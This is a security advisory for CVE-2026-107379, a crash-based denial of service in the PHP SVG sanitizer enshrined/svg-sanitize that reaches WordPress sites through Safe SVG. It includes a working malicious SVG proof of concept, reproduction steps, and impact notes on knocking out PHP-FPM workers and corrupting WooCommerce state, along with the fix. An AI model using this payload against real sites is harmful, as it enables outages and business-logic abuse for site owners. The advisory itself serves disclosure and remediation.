All vulnerabilities
CVE-2026-107379GHSA-v383-3rw5-q8rf

enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash

darylldoyle enshrined/svg-sanitizecomposerLibraries & packages
CVSS
6.5Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 9 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.38%Chance of exploitation activity in the next 30 days, higher than 30% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.0.0Fixed versionGitHub
Published8 Oct 2026Updated 9 Oct 2026CVE List

What fixes it

  • 1.0.0enshrined/svg-sanitize, composerGitHubcomposer require "enshrined/svg-sanitize:^1.0.0"
  • 1.0.0enshrined/svg-sanitize, PackagistOSVcomposer require "enshrined/svg-sanitize:^1.0.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.

Affected installations:

  • enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
  • WordPress Safe SVG plugin: 1M+ active installs
  • TYPO3: svg-sanitize integrated into core since v9
  • Drupal: community module wrapping svg-sanitize

Vulnerability Details

Trigger Flow

Sanitizer::sanitize($malicious_svg)
  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
  → startClean() → cleanAttributesOnWhitelist($svgElement)
    → "badhref" NOT in allowedAttrs
    → removeAttribute("badhref")          ← removes explicit attribute (safe)
    → stripos("badhref", "href") = TRUE
    → getAttribute("badhref")             ← returns DTD #FIXED default value
    → isHrefSafeValue("javascript:x")    ← returns FALSE
    → removeAttribute("badhref")          ← hits XML_ATTRIBUTE_DECL → CRASH

Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.

Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.

WordPress Code Path

User uploads SVG → WordPress wp_handle_upload()
  → filter 'wp_handle_upload_prefilter'
  → SafeSvg\safe_svg::check_for_svg()        [safe-svg.php:176]
  → SafeSvg\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]
  → enshrined\Sanitizer::sanitize($contents)   [Sanitizer.php:193]
  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502

Proof of Concept

Malicious SVG (evil.svg)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="red"/>
</svg>

Standalone reproduction

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134

WordPress reproduction

  1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
  2. Login as Author → Media → Add New → upload evil.svg
  3. Result: HTTP 502 Bad Gateway, PHP-FPM worker killed

Confirmed output

$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)

Impact

Full Site Denial of Service

With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.

Application State Corruption

SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:

  • Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
  • Stock oversell: stock reduction not committed → multiple orders for 1-stock items
  • Cron starvation: wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely

Attack surface

Safe SVG hooks wp_handle_upload_prefilter (safe-svg.php line 152). The hook fires when code calls wp_handle_upload() or wp_handle_sideload().

Note: Popular form plugins (Contact Form 7, WPForms) use move_uploaded_file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp_handle_upload() is affected.

| Scenario | Authentication | Affected installs | |---|---|---| | WordPress (default Safe SVG) — Media upload | Author role (upload_files cap) | 1M+ | | WordPress — REST API POST /wp/v2/media | Author role | 1M+ | | WordPress — plugins using wp_handle_upload() for public uploads | Varies by plugin | Plugin-dependent | | Custom PHP app with svg-sanitize on public endpoint | Often none | 45M+ downloads | | TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |

The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.

CVSS

CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)

Suggested Fix

Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:

// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Environment

  • enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
  • WordPress 6.9.4 + Safe SVG 2.4.0
  • PHP 8.3.24 (fpm), NTS, x86_64
  • nginx + PHP-FPM (Docker)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Text from GitHub Advisory Database

Affected versions 51

  • enshrined/svg-sanitize, composer<= 0.22.0GitHub
  • svg-sanitizeraffected: < 1.0.0CVE List
  • enshrined/svg-sanitize, Packagistfrom first release, fixed in 1.0.0OSV
  • enshrined/svg-sanitize, Packagist0.1.0OSV
  • enshrined/svg-sanitize, Packagist0.1.1OSV
  • enshrined/svg-sanitize, Packagist0.1.2OSV
  • enshrined/svg-sanitize, Packagist0.1.3OSV
  • enshrined/svg-sanitize, Packagist0.1.4OSV
  • enshrined/svg-sanitize, Packagist0.1.5OSV
  • enshrined/svg-sanitize, Packagist0.1.6OSV
  • enshrined/svg-sanitize, Packagist0.10.0OSV
  • enshrined/svg-sanitize, Packagist0.11.0OSV
  • enshrined/svg-sanitize, Packagist0.12.0OSV
  • enshrined/svg-sanitize, Packagist0.13.0OSV
  • enshrined/svg-sanitize, Packagist0.13.1OSV
  • enshrined/svg-sanitize, Packagist0.13.2OSV
  • enshrined/svg-sanitize, Packagist0.13.3OSV
  • enshrined/svg-sanitize, Packagist0.14.0OSV
  • enshrined/svg-sanitize, Packagist0.14.1OSV
  • enshrined/svg-sanitize, Packagist0.15.0OSV
  • enshrined/svg-sanitize, Packagist0.15.1OSV
  • enshrined/svg-sanitize, Packagist0.15.2OSV
  • enshrined/svg-sanitize, Packagist0.15.3OSV
  • enshrined/svg-sanitize, Packagist0.15.4OSV
  • enshrined/svg-sanitize, Packagist0.16.0OSV
  • enshrined/svg-sanitize, Packagist0.17.0OSV
  • enshrined/svg-sanitize, Packagist0.18.0OSV
  • enshrined/svg-sanitize, Packagist0.19.0OSV
  • enshrined/svg-sanitize, Packagist0.2.0OSV
  • enshrined/svg-sanitize, Packagist0.2.1OSV
  • enshrined/svg-sanitize, Packagist0.20.0OSV
  • enshrined/svg-sanitize, Packagist0.21.0OSV
  • enshrined/svg-sanitize, Packagist0.22.0OSV
  • enshrined/svg-sanitize, Packagist0.3.0OSV
  • enshrined/svg-sanitize, Packagist0.4.0OSV
  • enshrined/svg-sanitize, Packagist0.4.1OSV
  • enshrined/svg-sanitize, Packagist0.5.0OSV
  • enshrined/svg-sanitize, Packagist0.5.1OSV
  • enshrined/svg-sanitize, Packagist0.5.2OSV
  • enshrined/svg-sanitize, Packagist0.5.3OSV
  • enshrined/svg-sanitize, Packagist0.5.3.1OSV
  • enshrined/svg-sanitize, Packagist0.6.0OSV
  • enshrined/svg-sanitize, Packagist0.7.0OSV
  • enshrined/svg-sanitize, Packagist0.7.1OSV
  • enshrined/svg-sanitize, Packagist0.7.2OSV
  • enshrined/svg-sanitize, Packagist0.8.0OSV
  • enshrined/svg-sanitize, Packagist0.8.1OSV
  • enshrined/svg-sanitize, Packagist0.8.2OSV
  • enshrined/svg-sanitize, Packagist0.9.0OSV
  • enshrined/svg-sanitize, Packagist0.9.1OSV
  • enshrined/svg-sanitize, Packagist0.9.2OSV

References 5